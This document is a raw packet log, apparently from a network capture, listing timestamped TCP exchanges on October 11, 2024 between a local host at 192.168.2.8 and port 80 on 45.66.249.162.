Oct 11, 2024 22:32:27.627473116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627515078 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.627578974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.627664089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.773549080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773597956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773612976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773629904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773644924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773663044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773674011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773691893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773714066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773724079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773755074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.773755074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.773755074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.773756027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.773756027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.773756027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.773782015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773798943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773818016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773823977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.773823977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.773847103 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.773874998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773885965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773886919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.773915052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773925066 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773943901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773961067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773976088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.773989916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774003029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774010897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774010897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774010897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774010897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774010897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774010897 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774023056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774039030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774055004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774061918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774061918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774071932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774126053 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774126053 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774130106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774141073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774182081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774211884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774319887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774319887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774319887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774319887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774326086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774364948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774431944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774441004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774466038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774477005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774492025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774523973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774534941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774542093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774542093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774542093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774542093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774542093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774542093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774554014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774605036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774605036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774605036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774638891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774725914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774738073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774756908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774784088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774784088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774784088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774879932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774892092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774893045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774914026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774924040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774940968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774952888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.774991989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774991989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774991989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774991989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.774991989 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775122881 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775135040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775151968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775161982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775176048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775185108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775185108 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775214911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775228977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775234938 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775245905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775264025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775295973 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775306940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775327921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775337934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775355101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775368929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775368929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775368929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775368929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775368929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775368929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775407076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775425911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775439024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775456905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775469065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775469065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775490999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775509119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775513887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775513887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775521994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775542974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775558949 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775567055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775583982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775597095 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775629997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775629997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775629997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775702000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775712967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775732040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775742054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.775892019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775892019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.775892019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776019096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776030064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776053905 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776067972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776082993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776094913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776118994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776134014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776144028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776174068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776189089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776196957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776196957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776196957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776196957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776196957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776196957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776207924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776233912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776233912 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776252031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776320934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776376009 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776797056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776817083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776838064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776858091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776858091 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.776896954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776909113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776926994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.776938915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777004004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777004004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777004004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777004004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777045012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777055979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777075052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777087927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777100086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777116060 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777127981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777143955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777160883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777162075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777162075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777162075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777162075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777162075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777162075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777177095 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777237892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777237892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777247906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777259111 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777276993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777288914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777303934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777316093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777316093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777316093 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777339935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777359962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.777426004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777426004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777426004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777426004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.777426004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.923888922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.923988104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924027920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924027920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924041986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924108028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924156904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924156904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924156904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924201965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924226046 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924226999 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924248934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924264908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924267054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924267054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924282074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924293041 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924300909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924300909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924320936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924334049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924352884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924366951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924371958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924371958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924371958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924371958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924388885 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924391985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924410105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924417019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924427986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924441099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924457073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924473047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924491882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924504995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924520016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924520016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924520016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924520016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924520016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924520016 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924529076 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924545050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924562931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924582005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924593925 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924612999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924618959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924618959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924618959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924618959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924618959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924618959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924628019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924644947 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924654961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924671888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924690962 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924700975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924700975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924700975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924700975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924705029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924721956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924736977 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924748898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924766064 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924770117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924770117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924770117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924781084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924798965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924810886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924824953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924837112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924854040 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924866915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924885035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924894094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924894094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924894094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924894094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924894094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924902916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924916983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924932957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924942970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924963951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924973011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.924990892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924990892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924990892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.924990892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925055981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925055981 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925246000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925338984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925389051 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925400972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925419092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925430059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925447941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925465107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925479889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925493002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925499916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925499916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925499916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925499916 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925517082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925522089 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.925529003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925548077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925559998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925578117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.925591946 CEST	80	49707	45.66.249.162	192.168.2.8
